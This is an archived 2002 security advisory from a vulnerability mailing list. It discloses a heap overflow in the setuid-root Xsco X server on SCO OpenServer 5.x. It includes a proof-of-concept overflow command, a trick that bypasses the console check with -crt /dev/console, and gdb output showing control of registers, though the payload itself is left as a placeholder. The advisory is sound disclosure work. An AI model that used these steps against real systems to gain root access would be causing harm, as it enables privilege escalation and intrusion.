Date: Mon, 10 Jun 2002 22:43:22 -0400
From: KF <[email protected]>
To: [email protected], Vuln-Dev <[email protected]>
Subject: SCO Openserver Xsco heap overflow.
Cc: Andrew Sharpe <[email protected]>
Strategic Reconnaissance Team Security Advisory (SRT2002-06-11-1037)
Topic : SCO OpenServer Xsco heap overflow
Date : June 11, 2002
Credit : KF dotslash[at]snosoft.com
Site : http://www.snosoft.com
.: Description:
---------------
The SCO OpenServer Xsco application is installed setuid root by
default. Xsco contains the same heap overflow that Xsun has.
bash-2.03$ cd /opt/K/SCO/XServer/5.2.2a/usr/bin/X11
bash-2.03$ ls -al Xsco
-rwsr-xr-x 1 root bin 1333588 Dec 9 1999 Xsco
If you attempt the same syntax used to overflow Xsun it appears
to be non exploitable due to not having console permission. This
is easily bypassed as shown below in the Impact section.
bash-2.03$ ./Xsco :1 -co `perl -e 'print "A" x 9000'`
Tue Jun 11 10:31:56 2002
The X Server must be run on the console.
Make sure you are not on a serial line
and are not using rlogin or usemouse.
.: Impact:
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If properly exploited the following could be used to take root
on the server with the Xsco binary.
bash-2.03$ ./Xsco :1 -co <b0f here> -crt /dev/console
Tue Jun 11 10:32:59 2002
Couldn't open RGB_DB 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
...
Segmentation Fault
0x8164073 in _grantpt ()
(gdb) bt
#0 0x8164073 in _grantpt ()
#1 0x8164532 in malloc ()
#2 0x80027103 in _s_a_get ()
#3 0x81594bc in _ptsname ()
#4 0x8087526 in wctype ()
#5 0x8085e95 in wctype ()
#6 0x80745f4 in wctype ()
#7 0x804d69b in wctype ()
(gdb) i r
eax 0x41414141 1094795585
ecx 0x495b38d4 1230715092
edx 0x0 0
ebx 0x18 24
esp 0x8045814 0x8045814
ebp 0x8045834 0x8045834
esi 0x41414140 1094795584
edi 0x819f794 135919508
eip 0x8164073 0x8164073
.: Systems Affected:
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SCO/Caldera OpenServer 5.x
.: Solution:
------------
The vendor was notified and is diligently working on a fix.
A work around is currently unknown.
-KF
